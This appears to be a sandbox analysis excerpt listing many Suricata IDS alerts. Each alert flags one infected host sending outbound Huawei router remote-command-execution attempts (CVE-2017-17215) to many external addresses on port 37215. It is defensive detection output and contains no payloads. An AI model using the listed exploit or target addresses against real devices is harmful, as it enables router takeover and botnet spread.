Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57936 -> 156.130.48.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57766 -> 41.218.100.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48026 -> 197.212.59.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54296 -> 41.98.119.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60926 -> 41.220.146.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39100 -> 41.89.131.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33780 -> 41.135.24.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58922 -> 197.137.27.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60822 -> 197.48.130.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45026 -> 197.102.171.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51174 -> 197.190.213.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37210 -> 156.23.38.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57278 -> 156.77.1.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53284 -> 197.121.164.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54784 -> 41.193.139.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46286 -> 156.244.113.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41776 -> 156.132.215.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42446 -> 41.175.30.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53458 -> 156.138.102.83:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32874 -> 156.194.223.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48540 -> 41.104.163.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37710 -> 197.231.213.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53468 -> 197.75.201.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60004 -> 41.58.52.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50304 -> 41.118.111.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45856 -> 156.16.94.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41924 -> 197.202.40.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58972 -> 156.66.158.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41958 -> 197.59.27.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56408 -> 197.232.85.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38754 -> 197.233.180.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39948 -> 41.189.109.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49798 -> 197.208.164.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39036 -> 41.131.201.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41122 -> 156.36.170.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58412 -> 156.158.45.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50356 -> 197.97.143.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57964 -> 197.195.215.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47920 -> 41.11.24.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44094 -> 156.10.102.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45936 -> 197.250.119.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35072 -> 41.126.4.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52732 -> 156.222.104.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54460 -> 156.14.29.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54992 -> 156.180.154.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41084 -> 41.250.164.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48068 -> 41.203.219.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45004 -> 41.185.117.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59126 -> 197.159.134.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39006 -> 41.0.9.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55024 -> 41.78.144.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53986 -> 156.160.181.179:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42852 -> 156.53.157.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41522 -> 197.156.198.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60840 -> 41.17.224.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42656 -> 41.153.113.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39832 -> 156.169.23.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37622 -> 197.123.20.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37534 -> 41.217.97.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44932 -> 41.123.151.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48396 -> 41.200.165.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49108 -> 197.234.26.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35064 -> 41.50.90.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56572 -> 197.13.50.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54374 -> 197.86.189.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55844 -> 156.82.22.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33514 -> 41.164.78.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56478 -> 197.116.25.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59926 -> 197.230.188.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37404 -> 156.105.111.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60868 -> 156.139.7.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41360 -> 41.240.99.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60372 -> 197.228.202.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58942 -> 156.161.174.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56426 -> 156.69.218.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38006 -> 41.88.209.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38346 -> 156.62.166.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37370 -> 156.228.108.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51040 -> 156.2.239.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35492 -> 41.82.232.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60004 -> 156.114.186.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42708 -> 156.51.49.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43584 -> 197.209.0.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40132 -> 197.105.233.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54444 -> 156.190.198.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59212 -> 41.106.169.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54076 -> 197.154.137.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60278 -> 197.105.105.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47486 -> 41.222.122.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51138 -> 156.82.105.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43618 -> 156.9.136.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46528 -> 41.2.163.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59618 -> 156.163.166.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57044 -> 156.179.106.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38080 -> 41.201.175.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48018 -> 197.237.148.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34432 -> 156.188.18.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52130 -> 156.96.234.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33306 -> 156.218.30.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35636 -> 41.56.131.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47026 -> 41.203.2.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39760 -> 197.15.39.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40640 -> 197.213.126.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54318 -> 41.139.18.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33312 -> 41.120.46.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53366 -> 41.213.184.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34430 -> 197.74.234.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42730 -> 156.118.4.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47130 -> 41.254.134.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55828 -> 197.253.49.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49866 -> 156.126.243.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59384 -> 156.22.110.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53688 -> 41.30.40.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50086 -> 41.14.114.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52956 -> 156.90.134.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57388 -> 156.242.48.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48476 -> 41.40.105.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45874 -> 197.34.128.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37646 -> 156.39.222.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43716 -> 41.155.176.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44234 -> 156.37.0.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40998 -> 41.94.82.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40430 -> 41.57.178.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41280 -> 197.228.42.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53806 -> 41.39.208.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49290 -> 156.201.222.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40818 -> 41.118.251.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52180 -> 41.218.113.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53598 -> 41.234.48.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40252 -> 41.113.76.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60486 -> 197.126.2.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55604 -> 156.59.45.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47298 -> 197.20.94.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35854 -> 197.72.52.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56396 -> 41.220.24.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42716 -> 197.253.41.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60508 -> 197.211.244.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50886 -> 41.203.135.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41814 -> 156.136.211.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36070 -> 41.183.91.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35528 -> 156.229.29.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60230 -> 156.203.125.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43648 -> 41.149.228.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51674 -> 156.2.243.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58828 -> 41.195.216.193:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37148 -> 156.116.96.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51548 -> 197.189.82.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37782 -> 41.126.108.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38636 -> 197.19.250.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49610 -> 197.45.117.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37306 -> 41.156.21.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56138 -> 156.183.76.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43546 -> 41.145.42.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60642 -> 41.114.142.228:37215
